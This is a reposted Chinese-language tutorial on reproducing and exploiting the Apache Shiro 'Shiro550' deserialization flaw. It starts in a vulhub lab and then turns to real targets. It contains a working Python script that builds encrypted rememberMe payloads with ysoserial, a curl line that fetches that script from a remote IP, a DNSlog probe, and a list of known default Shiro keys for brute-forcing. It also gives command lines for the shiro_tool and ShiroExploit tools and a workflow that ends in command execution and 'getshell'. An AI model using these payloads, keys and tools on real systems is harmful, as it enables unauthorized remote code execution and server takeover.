Shiro550復現和挖掘思路


一、環境搭建和知識儲備

1.影響版本

shiro<1.2.4

2.特征判斷

1.返回包cookie中存在rememberMe=deleteMe
2.我在實際的測試過程中通常遇到shiro是在登錄處,登錄失敗后會返回標志字段,登陸成功后也會返回標志字段。這主要是因為shiro是作為一個Java安全框架,用於執行身份驗證、授權、密碼和會話管理。
3.除此之外,一些網站在登錄之外的接口也可能存在shiro

3.環境搭建

此處我們已將搭建好了vulhub在centos7上
1.使用vulhub作驗證,切入vulhub對應目錄,啟動環境

cd shiro/CVE-2016-4437/
docker-compose up -d

2.查看啟動的端口和地址

docker-compose ps

3.訪問ip:port登錄
admin:vulhub

二、復現過程

2.1、POC驗證

1、此處需要說明的是這里僅僅是使用了ysoserial的URLDNS進行反序列化探測,當然,密鑰用的是shiro的默認密鑰,加密之后發包還可以在DNS收到請求,就說明確實存在shiro550的漏洞,而不僅僅是反序列化
2、在登錄處抓取shiro請求包,返回包中存在rememberMe=deleteMe

3、獲取一個dnslog的子域名

4、執行以下python腳本進行DNS探測-需要python2,pyencrypt庫

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print "rememberMe={}".format(payload.decode())

執行命令

curl http://111.111.111.111/shiro/shiro.py//自己把腳本找個地方存
python2 shiro.py http://g2bv5a.dnslog.cn

5、將生成的payload通過抓包發送給存在反序列化的服務端,即可在DNSlog上收到消息


2.2、利用思路

1、首先我們知道,使用shiro默認密鑰的人是不多的,而且此處也僅僅只能驗證漏洞存在,那么真實環境下如何進行漏洞利用呢?思路大致是這個樣子:
密鑰猜解->直到獲取到DNS請求為止,
使用已有的密鑰去尋找已有的利用鏈去執行curl探測DNS->直到獲取到DNS請求為止,
當我們滿足了這兩個條件后,就可以利用獲得的密鑰和gadget去進行命令執行,getshell。
2、具體步驟
寫一個Python腳本去爆破獲取一個dns子域,然后用已有的key去加密ysoserial的URLDNS生成的serialize數據,發送給對應的ip:port,然后請求DNSLOG,判斷是否產生了數據。直到key猜解完或者猜解到key為止停止。
進入下一步鏈探測,重復第一步,只不過需要將URLDNS換成其它的鏈。

三、挖掘思路和利用工具

1.挖掘思路

1)針對數據包進行探測時,看到返回包中存在rememberMe=deleteMe,采用探測工具去枚舉默認秘鑰就可以。可以注重收集這些秘鑰,從而增加一定的成功幾率,這里給出一個舉例。

kPH+bIxk5D2deZiIxcaaaA==
wGiHplamyXlVB11UXWol8g==
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
3AvVhmFLUs0KTA3Kprsdag==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
Z3VucwAAAAAAAAAAAAAAAA==
U3ByaW5nQmxhZGUAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==

2)如果秘鑰枚舉完后也沒有找到適合的秘鑰,那就存在兩種情況,第一是服務端采用了自生成的秘鑰,這種就不存在漏洞了,第二是shiro的版本不在漏洞影響范圍內,這種也是同樣不存在洞。

2.利用工具

2.1 shiro_tool

網上有一個叫shiro_tool的工具,可以針對shiro的漏洞采用你已有的keys.txt去進行枚舉,找到密鑰后可以用ysoserial的已知鏈進行反序列化測試,還可以同時執行命令。如圖

使用命令-啟動工具采用當前目錄的key和請求

java -jar shiro_tool.jar keys=".\shiro_key.txt" req=".\shiro_request.txt"

使用命令-啟動工具采用指定key和指定請求

java -jar shiro_tool.jar http://www.test.com/test.do key="kPH+bIxk5D2deZiIxcaaaA=="
2.2 ShiroExploit

這個工具在github上有,利用簡單,可以一鍵執行,而且可用的鏈比較多,可以單獨指定key和gadget。具體的實戰過程中使用體驗和前面的工具相比各有千秋,最重要的是,后續的這個支持shiro721的檢測,如圖

啟動命令-打開gui執行界面

java -jar ShiroExploit.jar

如何使用見GitHub

2.3、利用工具總結

這里可以采用自寫腳本,也可以采用上述工具,不過實例利用中發現shiro_tool擅於發現密鑰,而能找到可用鏈的幾率小。
shiroExp在使用復雜請求的情況下,精准度會降低,找不到密鑰,但它能利用的幾率又比較大。綜合利用即可。在get請求可以完成的情況下,盡量不用其復雜請求的功能。
用shrio_tool找密鑰-->用shiroExp尋找鏈利用


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM